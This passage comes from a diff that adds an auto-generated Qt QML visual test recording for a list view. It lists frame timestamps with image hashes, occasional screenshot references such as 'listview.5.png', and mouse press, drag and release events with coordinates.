hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 521; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 37 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "a5df688148c264de1d376c9b87ddfa6b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4208 + hash: "a4e2c1878b0afce0ee1eebd63e9c951a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 66 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4224 + hash: "2f9a79278d492790ef86a09c77e95ff4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 531; y: 136 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 531; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4240 + hash: "5b5ce7206b26528157c426f4e1e3e0a8" + } + Frame { + msec: 4256 + hash: "65a1e5f81ab89b163aed46b984cca45e" + } + Frame { + msec: 4272 + hash: "e28253ad5a2415251b68bcda1d7d4bd0" + } + Frame { + msec: 4288 + hash: "71aae5abb4a9e9077053ea21dd3ec315" + } + Frame { + msec: 4304 + hash: "33fcea38fc3b328b3294f9ac2a26aa1a" + } + Frame { + msec: 4320 + hash: "6299eb1d87f371966307668b92de6a0b" + } + Frame { + msec: 4336 + hash: "4f66d8c7cb6971d0fc24089d123c547b" + } + Frame { + msec: 4352 + hash: "d9906d61b31fabf968290ebcd6688f34" + } + Frame { + msec: 4368 + hash: "5a1945993ff8096ba6b933d45586044a" + } + Frame { + msec: 4384 + hash: "331535e54da9bbdbc2fbf2b244ad0199" + } + Frame { + msec: 4400 + hash: "4dc39de0c54f6e0b77f94f6ae6c345ec" + } + Frame { + msec: 4416 + hash: "ec309a298ce246c13eb666488eb75016" + } + Frame { + msec: 4432 + hash: "a133819f8adc6265eb0e438261c869e3" + } + Frame { + msec: 4448 + hash: "da4d64fd6b3ae7d49ee5c5c8d0117a37" + } + Frame { + msec: 4464 + hash: "620dd1c3fc41ce657eac9d1a5b765fd4" + } + Frame { + msec: 4480 + hash: "ff1c370bd1bf75a98ae7125e7dd5a9db" + } + Frame { + msec: 4496 + hash: "59c6e4297109b5cc7c197749867dddae" + } + Frame { + msec: 4512 + hash: "91b1719e86529d0c35a53a2d0a095dd6" + } + Frame { + msec: 4528 + hash: "2994663d35c9eb453a27c1a1fa9aeeb8" + } + Frame { + msec: 4544 + hash: "ae4ec37b9f6a00b3c9139e5cfe13d32e" + } + Frame { + msec: 4560 + hash: "a98340236d1b65f47e88684168c1429d" + } + Frame { + msec: 4576 + hash: "34848b483ea6a2bd412e29d26beb3ab0" + } + Frame { + msec: 4592 + hash: "dd9bae0e2fca84b265d8cb59686ff88d" + } + Frame { + msec: 4608 + hash: "18b6ef6f5913b0612b76e7b2e25073dd" + } + Frame { + msec: 4624 + hash: "9398aab9478279aed1bc40c9378f8da4" + } + Frame { + msec: 4640 + hash: "a297a304c12102f23bd1e0f0207e0df9" + } + Frame { + msec: 4656 + hash: "091db9138cd6ae801ad857105a83c8f9" + } + Frame { + msec: 4672 + hash: "253938ca4a4f13433ddd502eb94cb7cd" + } + Frame { + msec: 4688 + hash: "6002df1793d290e4e31ee0c91c37bbe6" + } + Frame { + msec: 4704 + hash: "212476fa1c3a52fb8eba03ec3aecdcd8" + } + Frame { + msec: 4720 + hash: "80d4d8434d4e96a2bc23f5ed060d6ddc" + } + Frame { + msec: 4736 + hash: "2d4add725f31a04558635ce4b73a758a" + } + Frame { + msec: 4752 + hash: "57c06022ec1e502c4f49f43063c433e7" + } + Frame { + msec: 4768 + hash: "8393e97990993f9d5f68ea65f8e4a2db" + } + Frame { + msec: 4784 + hash: "9a1fcd96dffaf5c79ecc7f9427e02499" + } + Frame { + msec: 4800 + image: "listview.4.png" + } + Frame { + msec: 4816 + hash: "5ae722cf541e3453e73bbee57dc379e9" + } + Frame { + msec: 4832 + hash: "fc7326c2e2e56d9c3036e8dfc2ea77a8" + } + Frame { + msec: 4848 + hash: "f22a2a68cea158f333b0457025d75490" + } + Frame { + msec: 4864 + hash: "d684c8aa9b835779080f170cafead40f" + } + Frame { + msec: 4880 + hash: "dd451e5e421f929d015981bc7aeb8c66" + } + Frame { + msec: 4896 + hash: "d066f228295db7f46520495167d3e946" + } + Frame { + msec: 4912 + hash: "ebf640a457e3498bade3220aafa70331" + } + Frame { + msec: 4928 + hash: "190f5b1f3ce9d200790c34c50bcc62c5" + } + Frame { + msec: 4944 + hash: "9d4ad865246eb008afa40740b5c9a208" + } + Frame { + msec: 4960 + hash: "81c8b2c0b4f9e74f24d328a1d9b40a9f" + } + Frame { + msec: 4976 + hash: "24acc300307e71bee79bce8de76f56cb" + } + Frame { + msec: 4992 + hash: "1f9d31f94cfce6f868bfcc8a104d2465" + } + Frame { + msec: 5008 + hash: "7a3cab008dcb7a893ae30797b33df6f2" + } + Frame { + msec: 5024 + hash: "38d561a2950434e59513439c7f1120ea" + } + Frame { + msec: 5040 + hash: "8d34131faa15bc126bd4d9ef3be39ef5" + } + Frame { + msec: 5056 + hash: "85d57ef15791b56deb537795dd87911e" + } + Frame { + msec: 5072 + hash: "71e932169915a6c8c2cef0b22febf316" + } + Frame { + msec: 5088 + hash: "8b3452981963aeebadc9ac2013150263" + } + Frame { + msec: 5104 + hash: "a3fb8abecfeb48ba1cd1fd8f40896fa0" + } + Frame { + msec: 5120 + hash: "f53ab533f6a58ae45139f3da4bf8ab4e" + } + Frame { + msec: 5136 + hash: "9ec7012404f3c1c7795810dcee5acc3b" + } + Frame { + msec: 5152 + hash: "99ca43bab532dd5d7566e596c65053ce" + } + Frame { + msec: 5168 + hash: "0af83ad2416821cc230cd2856d1a3e39" + } + Frame { + msec: 5184 + hash: "86fa23ddf2005bbf35238ae04ae554ac" + } + Frame { + msec: 5200 + hash: "bb52a748f1d85dde410cfa4f24e3ed20" + } + Frame { + msec: 5216 + hash: "898b96bc5ee9a3ac61764e5cd9af8cfb" + } + Frame { + msec: 5232 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5248 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5264 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5280 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5296 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5312 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5328 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5344 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5360 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5376 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5392 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5408 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5424 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5440 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5456 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5472 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5488 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5504 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5520 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5536 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5552 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5568 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5584 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5600 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5616 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5632 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5648 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5664 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5680 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5696 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5712 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5728 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5744 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5760 + image: "listview.5.png" + } + Frame { + msec: 5776 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5792 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5808 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5824 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5840 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5856 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5872 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5888 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5904 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5920 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5936 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5952 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5968 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 111; y: 230 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 227 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 223 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 216 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 210 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "0076b55d3da4ca365688b6a2c984103f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 112; y: 205 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "db846ad8e3200ca1fce36a38dc7beab8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 112; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "3cb6b25725b4285f9c096d595224c5ca" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 180 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "1832e12fdf3b464b02b296e727b33694" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 173 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "6d18d2b5f65cbba4915d0725d24b40f3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 109; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 140 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "79bc7afc6b1aa5f8904b3e6d5d4a9389" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 124 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "4436f2d15304c839aacec486c1fd6d96" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "c3bffc7c95893cf9bbd8596208b7f657" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 105 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "04231c2fdc02729aa34ed4e403dd373b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "392d75c4b372825e78366eb63a618170" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 87 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 83 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "7f91f7bdb0cb62d600ac4aa573681fe3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 79 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "69207181a382650c5e33145555f0d9ba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 76 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 72 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6208 + hash: "65a184b5c49b02e08114e437483f928d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 68 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 64 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6224 + hash: "c22da9ce54d04f51fb55da755753a509" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 61 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6240 + hash: "59dbd5216847a62f60a1d0701a15bb62" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 57 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 53 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6256 + hash: "bbfc902db6e6ca253afb1c90306b2a63" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 47 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 106; y: 47 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6272 + hash: "5c41f194afec5f7e3db9d98673d03d5c" + } + Frame { + msec: 6288 + hash: "5c41f194afec5f7e3db9d98673d03d5c" + } + Frame { + msec: 6304 + hash: "deb06d0f915d5f6ec39b1820d57b6af6" + } + Frame { + msec: 6320 + hash: "deb06d0f915d5f6ec39b1820d57b6af6" + } + Frame { + msec: 6336 + hash: "2a1a1f9239a6ccb308e51796f9b0bb89" + } + Frame { + msec: 6352 + hash: "3c1b44201616b8271023bf05a3f3f0f7" + } + Frame { + msec: 6368 + hash: "87afcef49db8b2b547e85e834f8ec304" + } + Frame { + msec: 6384 + hash: "290081b4b1272ef09ec9964c128e61b5" + } + Frame { + msec: 6400 + hash: "19bb3b23ee4b14a5f0a313106ef7c8c1" + } + Frame { + msec: 6416 + hash: "65a184b5c49b02e08114e437483f928d" + } + Frame { + msec: 6432 + hash: "832d2aefbcaf776f35039be527d367c5" + } + Frame { + msec: 6448 + hash: "69207181a382650c5e33145555f0d9ba" + } + Frame { + msec: 6464 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6480 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6496 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6512 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6528 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6544 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6560 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6576 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6592 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6608 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6624 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6640 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6656 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6672 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6688 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6704 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6720 + image: "listview.6.png" + } + Frame { + msec: 6736 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6752 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6768 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6784 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6800 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6816 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6832 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6848 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6864 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6880 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6896 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6912 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6928 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6944 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6960 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6976 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6992 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7008 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7024 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7040 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7056 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7072 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7088 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7104 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7120 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7136 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7152 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7168 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7184 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7200 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7216 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7232 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7248 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7264 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7280 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7296 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 519; y: 276 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7312 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 275 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7328 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 274 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7344 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 273 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 272 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7360 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 271 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7376 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 268 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7392 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 266 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 265 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7408 + hash: "9047f597b9e59ca652c172338bed6ef9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 262 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "87476f78daecd6bb49e8d6e673d28100" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 260 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7440 + hash: "6bfd895c6b7d97e4102eb26608cdfeca" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 254 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "e4c2b75beaee54a5781a5acbeb37ea64" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 249 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "d5e816768e9c3db0631416bd86b1b461" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 243 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7488 + hash: "22cb512b302afc6c3c9dec1d47b3bf03" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 237 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7504 + hash: "a7e458e007954bd908cf27a1841d36ea" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 231 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "0f9fa53b247f72e9a8ff6201b188b410" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 225 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7536 + hash: "c986ea3853dd33f7f2b5629f67429423" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 219 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7552 + hash: "114ffaa5cf38e4884a1d477884541b44" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 215 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7568 + hash: "7cdf1bb327484618909ded5411aca4ec" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 208 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7584 + hash: "d4c005194ed510f5d54a811176943dc2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 520; y: 202 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7600 + hash: "3103351bc83675c877fb6dcd1a6ddbbc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 196 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7616 + hash: "2c13ddda8d89501c9487b83f8b115570" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 189 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7632 + hash: "476834b6d88077f9983ed358c06bd0c3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 185 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7648 + hash: "cc2148c6a7ba0bbe6ceea848b7e48621" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 177 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7664 + hash: "5b8824848dd1de3632b26e04e95b5899" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 169 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7680 + image: "listview.7.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 160 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7696 + hash: "d0a4a8b631e3494043f261fb8da67938" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7712 + hash: "985111215c3959a45b293879af701318" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7728 + hash: "ed5917a3fe95777f2efdaa154af0c489" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 144 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "6fa9de2983f0e30cb96c035c28757b93" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7760 + hash: "fd568c7d27618a71b0f0882ca57b685b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7776 + hash: "f5b941f5741a9a78122605576809c395" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 124 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7792 + hash: "ffc96a85d7dbbed257b69a0c735e21b8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7808 + hash: "cfb6335c5449554e631d6e3106ea8a00" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7824 + hash: "ff9786e85ee8af6177ac8e5cc1307462" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7840 + hash: "3140b49dfee8e690b5c778044385e107" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 106 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7856 + hash: "0d899af24685a9998a6b961023286fde" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7872 + hash: "99ee1e8803c05e546a721b0c9ee39499" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7888 + hash: "96e7da2f895500a786ed36cb295e9003" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7904 + hash: "cd369fc5dc31814208e56cf7cd0decea" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7920 + hash: "5fee72994b65a45b4900a3073f86a3e1" + } + Frame { + msec: 7936 + hash: "9a2f8a65d842b8f92998e6411f7cd53c" + } + Frame { + msec: 7952 + hash: "2848d69017ce71ae101ccdfa7c67f933" + } + Frame { + msec: 7968 + hash: "6568aa88e81f988f65da435df7166167" + } + Frame { + msec: 7984 + hash: "d5f15ee08a2d7667786757a378a7a7f4" + } + Frame { + msec: 8000 + hash: "9b566bd02a561b32d1a4c1ec99c2e2c3" + } + Frame { + msec: 8016 + hash: "580419e1c9e91046547d913f6b8790a4" + } + Frame { + msec: 8032 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8048 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8064 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 521; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8080 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8096 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8112 + hash: "83b91a371d682a501bc3a3fceabe4f8c" + } + Frame { + msec: 8128 + hash: "798b1dbfa0cce362213f426e2c60ac0e" + } + Frame { + msec: 8144 + hash: "d71b6a693c430a618c23413cb65bb320" + } + Frame { + msec: 8160 + hash: "2baae394390da39447a67151bc503d65" + } + Frame { + msec: 8176 + hash: "06688b05c61a7b862d39534207a8adab" + } + Frame { + msec: 8192 + hash: 